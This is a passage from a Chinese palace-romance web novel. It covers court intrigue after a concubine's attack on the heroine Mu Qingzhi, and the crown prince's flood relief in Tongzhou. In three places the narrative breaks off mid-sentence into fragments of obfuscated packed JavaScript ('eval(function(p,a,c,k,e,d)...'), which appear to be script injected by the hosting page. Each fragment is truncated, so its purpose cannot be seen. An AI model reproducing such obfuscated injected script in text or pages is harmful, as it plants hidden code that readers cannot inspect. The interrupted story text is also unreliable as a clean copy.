今日一看,草木葳蕤,水波清澈,亭台楼阁,皆是精致小巧,美轮美奂。 穆清芷慢慢踱到水边,忽然听见身后传来响动,茂密的草木花丛里,不期然转出一个衣着华丽的女子来。 是薛昭仪。 穆清芷心里有些烦躁,没想到会和她撞上。 “见到长辈都不知道行礼吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“清芷有受伤吗?”圣人先开口 “已经让御医开了祛疤痕的药膏。” “薛昭仪也送了药膏过来。方才的事,她和朕解释过了,她只是一时情急,并非恶意。朕已经教训过她了,让她好好闭门思过一月。” 祝兰君没有说话。 圣人面露尴尬,讷讷地道:“她毕竟刚刚失了孩子,又被清芷的话刺激到了,这才一时冲动,现在已经知错了。 既然清芷没事,皇后就不要与她计较了。” 圣人说得有些口干,见祝兰君仍旧不言不语,有些生气。 忽然,听见极轻极微的响动,像一滴烛泪垂落的声音。 数十年前新婚夜那对摇曳的龙凤花烛,她也是这样坐在他的面前,低垂着头不说话。 掀起盖头的那一刻,笑颜如花。 圣人站起来了,语气透着惊慌。 “兰儿,你怎么哭了。” 11. 11 “嘶。” 药膏涂过伤口,穆清芷痛得倒吸一口凉气。瞧见一旁的祝兰君担忧的神情,连忙扯出一个轻松的表情。 待侍女换完药,祝兰君在床边坐下,看着她脖颈处的伤口,心疼地道:“还疼吗?” “不疼了。”穆清芷摇头道,握住她的手。“姨母你别难过了。”这几天,祝兰君吃不下饭,睡不好觉,人都消瘦了一圈。 “趴下来,头发让我看看。” 穆清芷低头,枕在祝兰君的膝上,长发倾泻,宛若乌黑发亮的绸缎。 祝兰君轻轻分开头发,盯着那一小块裸露的头皮,久久没有说话。 穆清芷悄悄抬眸,瞥见她的神情,连忙坐起来。 “姨母,很快就长好的。”穆清芷偎在祝兰君怀里,笑容明媚,“只是看着吓人。” 祝兰君看着她极力想要安慰自的样子,也微微一笑。 等到穆清芷出去玩,侍女走了进来,道:“回禀娘娘,薛才人已经离宫了。” 薛昭仪因不敬皇后之罪,贬为才人,送往佛寺修行,为国祈福。 祝兰君“嗯”了一声,打量着尚功局刚刚送来的布料,一匹石榴缠花吉祥纹的锦缎。听到侍女的话,连眼神也没变。 “走之前,才人一直说要见圣人一面。” 祝兰君终于抬头了,“圣人答应了?” 侍女摇头:“圣人说,不忍心。”不忍心见到爱妃苦苦哀求的模样,所以不见。 祝兰君微微一怔,随后笑出了声:“不忍心,不忍心……” 她一下一下地抚着手边的榴花锦缎,感慨道:“我们的圣人,真是一位仁慈之君,圣明之君啊。” 这就是她的枕边人,她以为可以托付终身的良人。 同州,朝邑县 天色阴沉,雨丝绵绵,内侍撑着伞,萧旻一边听着官员汇报,一边登上河堤。 放眼望去,周遭的士兵民工正埋头疏浚沟渠,补植柳树。虽是大雨,但来往喧哗,每个人身上汗水直流,尽显疲惫。 萧旻道:“今日起,低洼处的百姓必须全部迁走,如果不够住,将官府的房屋清扫出来,让百姓暂住。” 忽然,一道身影穿透雨幕,急匆匆地走来,低声说道:“殿下,奉娘子已经到了。” “先让她自行安置。” 萧旻眼也不抬,看着面前的同州长史,吩咐道:“另外,必须保证城内粮价平稳,若有大户趁机屯粮抬高价格,按律法处置。”说到最后,语气冷硬,叫人不寒而栗。 周围的官员皆低下头,拱手称是。 等到萧旻回府,天色已晚。 暴雨片刻不停,长廊上满是雨水,即便时时刻刻擦拭也无法避免。 回廊外雨气迷茫,大雨宛若自天垂落的瀑布,冲刷人间。 “让下人早些归家,值夜的人多发些工钱。” 萧旻吩咐完,一抬起头便看见一位身着蓝衣的女郎,站在转角处,笑意盈盈地望着他。 奉雪宜迎了上来,语气略显急促:“表哥,我……” “进去说。”萧旻打断她的话。 “好。” 一进屋子,屏退内侍,奉雪宜就开口道:“表哥,自从收到你的信,我立刻就赶过来了。” “下午我已经确认过了,那些药材就是用来制皇后用的秘香,绝对错不了。” 前几日,萧旻修书说已经顺藤摸瓜,找到祝皇后命人搜集药材的证据。 萧旻点头,放下茶盏,走到佛龛前。佛龛上的观音玉像拈花微笑,目光悲天悯人。 奉雪宜也走了过来,“祝皇后的人恐怕还在扫尾,她们不知道我们已经拿到最关键的证据了。” 她一边说,一边望着萧旻,说道:“只要把这些人证物证呈到御前,她谋害皇嗣的罪名绝对逃不掉。” 萧旻的脸上却不见喜悦。 他皱着眉,道:“再等等。” “还等什么?”奉雪宜面露不解,催促道:“就是要趁现在,打她一个措手不及。要是祝皇后反应过来,就没那么好对付了!” “还是说……” 奉雪宜若有所思,定定地看着萧旻:“你舍不得那个跟在你后面的小娘子,叫什么呢……好像是叫沅沅。” 萧旻冷冷地睨了她一眼,道:“皇后派人来同州,好像是在找人。” “找什么人?”奉雪宜立刻警觉。 能让皇后大费周折找的人,必定不一般。 “所以我才叫你再等等。”萧旻冷冷地道,拂袖而去。 “是我太着急了,我不应该这么想。” 奉雪宜追上去,着急地道:“我听府上人都这么说,所以我才着急了。” “说什么?” 萧旻停住,看向她。一双凤眼深邃,宛若一潭深水。 奉雪宜内心生了几分怯意,但还是道:“下人说,你是昨天得知穆清芷受伤,才命人回京向帝后请安。而且还说……” 她忽然顿住,萧旻不耐地道:“还说什么?” ”还说你专门命人把六月十七那日空出来,是为了她。” 奉雪宜紧紧地注视着萧旻,想要看清他脸上一丝一毫的变化。 然而让她失望了。 萧旻神情平静,没有一丝一毫的动摇。 …… “这是太子哥哥专门给我的吗?” 穆清芷握着一管药膏,询问面前的内侍。 “太子殿下得知娘子您受伤了,特意命人在清单里加上这一样的,肯定是送给娘子您的。” 穆清芷渐渐听出不对劲,坐正身体:“我问你,他是不是亲口说这药膏是送给我的。” “这……”内侍眼神飘忽,不知如何回答。 穆清芷看出来了。 “哼!不是专门给我的,我才不要。” 穆清芷生气地道。一扬手,只听“咚”的一声,药膏便被她扔回匣子里。 她又不缺药膏擦。 可听见这一声沉闷的响动,穆清芷的心也仿佛被大铁锤狠狠地撞击了一下,连脖子上的伤口也隐隐作痛起来。 只好把头埋进了祝兰君的怀里,仿佛小兽依偎着母兽。 祝兰君看出穆清芷的异样,开口道:“好了,太子有心了。不在长安,依然记挂着圣人和本宫。”内侍这次前来,就是代太子向皇后请安,以表孝心。 内侍连忙谢恩,由侍女送了出去。 穆清芷这才抬起了头,眼眶微微发红。 祝兰君摸着她的脸颊,语气怜惜:“太子派人回来,你非但不高兴,怎么还伤心了。” 穆清芷吸了吸鼻子,“我就看不惯他厚此薄彼。”上次奉雪宜一受伤,他就专门派人送了药膏给她。 这次轮到她,怎么连一句关心都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“派府医去诊治,务必让她醒来。”萧旻道,“至于你,自去领罚。” “是。” 室内复归于宁静。 萧旻静静坐了一会,随后缓缓起身踱到窗边,将窗子推开。冷雨骤然袭面,发丝凌乱。 他仰起头,此时已近下半夜,星月无光,只听得雨声淅沥绵绵。夜色里芙蓉沐雨,借着隐约烛光,开得明媚可爱。 也不知道长安是否有雨。 这念头只是一瞬,萧旻随即想到诸多俗事:祝皇后得知消息必定不会善罢甘休,圣人多病而疑心,薛党野心勃勃妄想干涉储君废立,再到眼前的同州水患,可谓一团乱麻。 倘若祝皇后倒台,首当其冲的便是…… 忽然狂风冲入屋内,倏的一声,室内烛火齐齐而灭,窗外芙蓉任风雨一打,自枝头坠落,再也看不见了。 内侍急忙冲了进来,脚步慌张。 “殿下,大事不好了!朝邑县决堤了!” 与此同时,轰隆一声雷响,将四野照得通明,也将萧旻清癯苍白的脸照得清清楚楚。 “怎么回事!”他大声道。 12. 12 翌日,宫人正在庭院中清扫积水。 穆清芷穿过郁郁葱葱的花林,走入宫殿,夹在鬓边的芙蓉含露,人比花娇。 “姨母,我昨天做了一个梦。”一进内殿,她笑嘻嘻地贴着祝兰君坐下。 “梦到什么了?”祝兰君放下宫务。 “我梦到娘亲了。” “梦里面我还是个小婴儿,娘亲抱着我,亲我,还给我唱歌。” 穆清芷做出一个搂抱的姿势,回忆道:“就是这样抱着。” 祝兰君闻言,轻声哼了一首曲子,微笑问道:“是不是这个调子。” “对。不过后面我好像抓到什么东西,娘亲一直让我放手。” 祝兰君笑道:“你从小手就有劲,什么发钗玉佩你一抓住就不肯松开,弄得别人只好送给你了。” 穆清芷坚决不承认:“我哪里有。” “你娘亲还专门收拾了一个盒子放起来。”祝兰君刮刮她的鼻子,“有此为证啊,不许抵赖。” 穆清芷吐吐舌头,转而问道:“放在哪里啊,我想看看。” “都在岐山侯府。等你出阁,我就把钥匙交给你。” 祝兰君低头看她,只见她脸上一派天真,神态虽不相似,但眉眼却与过世的姐姐愈发相似,心中又怜又爱,又悲又喜。 不禁摸摸她的头,说道:“一眨眼我们的沅沅就长这么大了。你娘在天之灵,也会高兴的。” “这是当然。” 穆清芷亲了亲祝兰君脸颊,志满意得地道:“因为我有姨母,姨母对我最好了。” 祝兰君的眼神化成一池春水,心中那几分伤感也随着这句话无影无踪。 她揽住穆清芷,柔声说道:“沅沅对姨母也最好了。” 两人正说着话,圣人身边的内侍忽然来了。 “奴婢正是奉圣人之命来转告您,圣人不过来用膳了,请您不必等了。” “圣人还在处理政事吗?”祝兰君道。昨日圣人特意派人知会,说今日会过来用午膳。 “是。”内侍道,“圣人与几位相公正在商议同州决堤的事情。” “什么!”穆清芷脱口而出,杏眼圆瞪。“太子哥哥没事吧?” 祝兰君握住她的手,轻轻捏了捏,转头对内侍道:“我准备了参汤给圣人,请公公带到。” “请娘娘放心。”内侍道,“奴婢告退。” “姨母,你怎么让他走了啊。太子哥哥要是有事怎么办啊。”穆清芷不高兴地道。 “太子不会有事的。”祝兰君漫不经心地道,“一旦出事,侍卫会护送他回长安的。” 穆清芷松了一口气,“那就好。太子哥哥快回来吧。” 长安日日都在下雨,那种浓重的雨气弄得她整个人都湿漉漉的,特别难受。 同州肯定更严重。 太子哥哥肯定也很不舒服。 穆清芷坐在廊下,把玩着头发,望着外头的大雨,暗暗想道:“不知道太子哥哥现在在干什么,他回长安了吗?” 等到下午,天色越来越黑,穆清芷悄悄走近内殿,殿内只点着一只蜡烛,微弱的光芒从纱帘之后透了出来,谈话声也隐隐约约传来。 “几位相公还没有离宫,各自派人去家中取了衣物,应当是要在宫里过夜。” 穆清芷脚步一顿,站在帘后,连呼吸都放轻了。 “同州的人还联系上吗?” “不行。”声音压得更低了,“娘娘我们……” “不要多此一举。如今同州鱼龙混杂,当务之急是弄清楚太子的消息。” 侍女道:“紫宸殿几位相公的意思是召太子回京,天灾毕竟不是人力所能抵挡的,太子殿下身份贵重,应当早日回京。”当初只是派太子去赈灾,谁都想不到夏汛已过,同州会二次决堤。 穆清芷默默点头。 “我怎么没收到太子回京的消息。”祝兰君道,“圣人不肯?”不像圣人的作风。 “圣人也是这个意思。是太子殿下不肯。” 祝兰君轻轻地“啊”了一声,不等她开口,便听见有人道:“我不答应!”穆清芷像风一样冲了进来。 祝兰君心里一惊。 “姨母,你快劝劝太子哥哥,让他回来啊。”穆清芷面露焦急,“要是洪水来了,太子哥哥被冲走了怎么办。” 她不想太子哥哥死。 穆清芷急得眼泪都出来了,抽抽噎噎地道:“我不要太子哥哥留在那里,我不要太子哥哥死。” “什么死不死的。”祝兰君道,“太子身负江山社稷,承万民之望,必定平安无事。即便是遇险,也一定会逢凶化吉,受神佛庇佑。” “不管用,都是不管用的。” 穆清芷一边哭,一边说道:“我只要太子哥哥回来,什么天下,什么百姓,我才不管那么多,我只要我的太子哥哥平平安安。” 别说太子,就是圣人来了,还不是肉体凡胎一个,会受伤会生病,会老会死。 “别胡闹!” 祝兰君冷下脸,吩咐侍女:“把沅沅送回寝殿。”穆清芷刚才说的这些话,可不能传出去。 穆清芷趴在床上大哭一场,任凭侍女怎么哄都哄不好,忽然窗外传来呜呜的响声,像是有人在叩窗。 侍女惊喜地道:“决云!” 穆清芷一边抹眼泪,一边抬起头,泪眼朦胧间看见一道白影从窗外掠来。 决云停在穆清芷的面前,抖抖翅膀,洒落羽毛上的雨水,双眼泛着锐利的光芒,虽然淋了雨但依旧昂首挺胸,叫声响亮。 穆清芷伸手把它揽进怀里,哭道:“你是不是也很担心太子哥哥。” 决云轻轻地蹭了蹭她的脸颊,叫声放柔,似乎是在安抚她。 怀里的海东青身躯温热,穆清芷刚刚止住的眼泪又流出来了,“我好想去找太子哥哥……” 她摘下胸前的一串明珠,“你会飞,飞去找他好不好?”这串明珠她从不离身,太子哥哥一见到就会明白是谁的。 决云抓着项链,发出一声长鸣,羽翼一振,便向窗外掠去,宛若一只雪白的箭。 穆清芷站在窗外,侍女安慰的声音在耳边渐渐模糊。她怔怔望着决云消失的方向,不知在想什么。 “娘子睡一觉起来,说不定太子殿下就回来了。”侍女剪灭蜡烛,为穆清芷盖好被子,柔声安慰道。 穆清芷闷闷地应了一声,心里却像被一个大石头压住一样,说不出的难受。 她整个人从平躺渐渐蜷缩起来,躲进了被子里,仿佛这样就被能保护住。 这一觉睡得并不安稳,穆清芷是被侍女的呼唤叫醒了,睁开眼时,眼角还带着泪痕。 “娘子您怎么了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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宛若鲤鱼跃出水面一般,他重回人间。 “殿下的脉象平稳,已无大碍。” 奉雪宜走出房门,对着庭中等候的官员道:“诸位相公各自回去吧,如今水患已息,还有许多琐事要处理。” 等到众人散去,奉雪宜看了一眼阴沉的天色,吩咐侍女熬药,又进屋去了。 奉雪宜站在床前,耳边是雨拍小窗的滴答声。 眼前是昏迷不醒的萧旻。 宫人都被她打发走了。 她缓缓地蹲下来,眼也不眨地盯着萧旻。 只有这个时候,她才能离他这么近。 近得连他的睫毛都看得清。奉雪宜微微一笑,忍不住在心里默数他的睫毛。 但很快,奉雪宜注意到萧旻的唇动了。 “表哥,表哥。”她轻轻地唤道。 但萧旻的双眼始终紧闭,奉雪宜有些失望,却又瞧见他的唇翕动,像是在唤着什么人,听不大清楚。 她于是低下头,仔细去听。 待听明白萧旻口中的话,好似当头一棒,奉雪宜浑身颤抖,脸色惨白。